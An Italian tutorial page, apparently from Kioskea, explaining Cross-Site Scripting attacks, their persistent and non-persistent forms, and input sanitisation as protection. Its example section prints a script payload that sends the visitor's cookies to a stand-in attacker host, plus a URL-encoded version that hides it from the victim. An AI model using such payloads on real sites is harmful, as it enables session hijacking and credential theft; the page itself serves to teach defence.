Ataques Cross-Site Scripting Angriffe Cross-Site Scripting Attaques Cross-Site Scripting Ataques de secuencia de comandos entre páginas Web (XSS) Cross-Site Scripting attacks

Iniezione di codice nocivo

Gli attacchi di tipo Cross-Site Scripting (denominato talvolta XSS o CSS) sono attacchi contro i siti web che visualizzano in modo dinamico il contenuto utilizzatore senza effettuare un controllo et una decodificazione delle informazioni inserite dagli utilizzatori. Gli attacchi Cross-Site Scripting consistono quindi nel forzare un sito web a visualizzare il codice HTML o gli script inseriti dagli utilizzatori. Il codice cosi incluso (si utilizza solitamente il termine « iniettato ») in un sito web vulnerabile è detto « nocivo ».

E' frequente che i siti visualizzino dei messaggi informativi riprendendo direttamente un parametro inserito dall'utilizzatore. L'esempio più classico è quello delle « pagine d'errore 404 ». Alcuni siti web modificano il comportamento del sito web, per poter visualizzare un messaggio d'errore personalizzato nel momento in cui la pagina richiesta dal visitatore non esiste. Talvolta la pagina generata in maniera dinamica visualizza il nome della pagina richiesta. Chiamiamo http://sito.vulnerabile un sito che possieda una falla di questo tipo. Il nome dell'URL http://sito.vulnerabile/pagina-inesistente corrispondente ad una pagina inesistente non provocherà la visualizzazione di un messaggio d'errore che indichi che la pagina « pagina-inesistente » non esiste. E' quindi possibile far visualizzare quello che si desidera al sito web sostituendo « pagina-inesistente » con un'altra stringa di caratteri.

A questo punto, se non è stato effettuato nessun controllo sul contenuto fornito dall'utilizzatore, è possibile visualizzare il codice HTML arbitrario su una pagina web, per cambiarne l'aspetto, il contenuto oppure il comportamento.

Inoltre, la maggiorparte dei navigatori sono capaci di interpretare degli script contenuti nelle pagine web, scritti in diversi linguaggi, come JavaScript, VBScript, Java, ActiveX o Flash. La segnalazione HTML seguente permettono di incorporare degli script di esecuzione in una pagina web: <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

E' così possibile per un pirata iniettare un codice arbitrario nella pagina web, per far si che quest'ultimo venga messo in esecuzione sul terminale dell'utilizzatore in un contesto di sicurezza del sito vulnerabile. Per far questo, è sufficiente sostituire il valore del testo destinato ad essere visualizzato da uno script, per visualizzarlo nella pagina web. Per quanto il navigatore dell'utilizzatore sia configurato per eseguire questi script, il codice nocivo ha accesso all'isieme dei dati condivisi dalla pagina web dell'utilizzatore e dal server (cookies, campi di formulari, etc.).

Conseguenze

Grazie alle vulnerabilità Cross-Site Scripting, un pirata può recuperare i dati scambiati tra l'utilizzatore e il sito web interessato. Il codice inserito nella pagina web può servire anche a visualizzare un formulario per ingannare l'utilizzatore e fargli inserire ad esempio delle informazioni di autentificazione.

D'altra parte, lo script inserito può permettere di reindirizzare l'utilizzatore verso una pagina sotto il controllo del pirata, che possieda eventualmente la stessa interfaccia grafica del sito compromesso per ingannare l'utilizzatore.

In un contesto simile, la fiducia esistente tra l'utilizzatore e il sito web è completamente compromessa.

Persistenza/efficacia dell'attacco

Quando i dati inseriti dall'utilizzatore sono immagazzinati sul server per un certo lasso di tempo (ad esempio nel caso di un forum di discussione), l'attacco è detto « persistente ». In effetti, tutti gli utilizzatori del sito web hanno accesso alla pagina nella quale il codice nocivo è stato introdotto.

Gli attacchi detti « non persistenti » riguardano le pagine web dinamiche nelle quali una variabile inserita dall'utilizzatore viene visualizzata tale e quale (ad esempio la visualizzazione del nome dell'utilizzatore, della pagina in corso o della parola inserita nel campo di un formulario). Per poter sfruttare questa vulnerabilità, l'attaccante deve fornire alla vittima un URL modificato, passando il codice da inserire nel parametro. Inoltre, un URL che contiene degli elementi di codice Javascript potrà apparire sospetto alla vittima, ed è la ragione per la quale questo attacco è realizzato maggiormente codificandone i dati nell'URL, in modo che quest'ultimo nasconda all'utilizzatore il codice iniettato.

Esempio

Supponiamo che l'homepage di Kioskea.net sia vulnerabile ad un attacco di tipo Cross-Site Scripting dato che permette di visualizzare nell'homepage un messaggio di benvenuto con il nome dell'utilizzatore parametrato :

http://it.kioskea.net/?nome=Jeff

Un malintenzionato può realizzare un attacco Cross-Site Scripting non persistente fornendo ad una vittima un indirizzo che sostituisca il nome « Jeff » con il codice HTML. Può soprattutto parametrare il codice Javascript seguente, che serve a reindirizzare l'utilizzatore verso una pagina di cui ha la il controllo :

<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>

Il codice qui sopra recupera i cookies dell'utilizzatore e li trasmette in parametro ad uno script CGI. Un codice simile parametrato sarebbe troppo visibile :

http://it.kioskea.net/?nome=<SCRIPT>document.location
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>

In compenso, il decodaggio dell'URL permette di mascherare l'attacco :

http://it.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Attacco incrociato

Nell'esempio precedente, l'insieme degli script è parametrato nell'URL. Il metodo GET, che permette di passare i parametri nell'URL è limitato ad una lunghezza totale di 225 caratteri per l'URL. Grazie all'attributo SRC del tag <SCRIPT>, è possibile eseguire il codice nocivo immagazzinato in uno script su un server remoto! Nella misura in cui è possibile inserire il codice partendo da una sorgente remota, questo attacco viene detto «  Cross-Site » (« Cross-Site » significa letteralmente « tra siti »).

Protezione

Da parte dell'utilizzatore, è possibile premunirsi contro gli attacchi CSS configurando il navigatore in modo da impedire l'esecuzione dei linguaggi di script. In realtà questa soluzione è spesso troppo costrittiva per l'utilizzatore dato che numerosi siti rifiutano di funzionare correttamente in assenza della possibilità di eseguire dei codici dinamici.

Il solo modo possibile per impedire gli attacchi Cross-Site Scripting consiste nel concepire dei siti web non vulnerabili. Per questo, l'ideatore di un sito web deve :

  • Verificare il formato dei dati inseriti dagli utilizzatori ;
  • Decodificare i dati utilizzatori visualizzati sostituendo i caratteri speciali con i loro equivalenti HTML.
Il termine « bonifica » (in inglese « sanitation ») designa tutte le azioni che permettono di rendere sicuro un dato inserito da un utilizzatore.

Ulteriori informazioni



Ultime modificazione ilvenerdì 6 febbraio 2009 alle 16:52:03.Questo documento intitolato «  » da Kioskea (it.kioskea.net) è reso disponibile sotto la licenza Creative Commons. È possibile copiare, modificare le copie di questa pagina, alle condizioni previste dalla licenza, come questa nota appare chiaramente.
Migliori risposte per « Attacchi Cross Site Scripting » in :
Attacchi da iniezione di comandi SQL Vedi Iniezione di comandi SQL Gli attacchi da iniezione di comandi SQL sono degli attacchi verso i siti web che si appoggiano su database relazionali.In questo tipo di siti, alcuni parametri sono passati al dabase sotto forma di una richiesta SQL. In...
Misura del pubblico di un sito web Vedi Misura e qualificazione del pubblico di un sito web L'obiettivo di ogni webmaster è di sviluppare il pubblico del proprio sito web, cioè di aumentare il numero di visite giornaliere. E' quindi indispensabile che disponga di indicatori che gli...
Webmastering - Controllo del sito Vedi Controllo necessario di un sito web Studio comportamentale Lo studio del comportamento degli internauti sul sito può rappresentare un indicatore qualitativo importante, che permette di migliorare la qualità del sito.Così, se è interessante...
[Tools] Freeware per la creazione di siti web Vedi1. Editor WYSIWYG 2. Editor di codici 3. Client FTP 4. Grafica e editing delle immagini 5. Grafica di stile FLASH 6. Editing audio 7. Server web Freeware per la creazione di siti Dato il numero di richieste per creare un sito web, ecco...
Provare il proprio sito su diversi browser VediOgni buon webmaster dovrebbe verificare le compatibilità del proprio sito con i browser più ricorrenti. Ma è possibile, a seconda del sistema operativo, che incontriate delle difficoltà nel provare l'uno o l'altro browser. Eccovi qualche soluzione. ...
Introduzione agli attacchi VediIntroduzione agli attacchi Qualsiasi computer connesso ad una rete informatica è potenzialmente vulnerabile ad un attacco.Un « attacco  »è lo sfruttamento di una falla di un sistema informatico (sistema operativo, software o anche da parte...
Promozione di un sito web VediIntroduzione al marketing Assicurare la promozione di un sito web consiste nal farlo conoscere mediante più mezzi per, a seconda dei casi, migliorare il suo traffico, guadagnarne in notorietà, ottenere delle nuove prospettive oppure sviluppare il...
Attacchi da falsificazione di dati VediLa maggiorparte degli attacchi d'applicazioni web consistono nel sollecitare il sito con i dati inseriti manualmente per provocare un contesto non previsto. Parametri delle applicazioni web Il protocollo HTTP, supporto della comunicazione sul...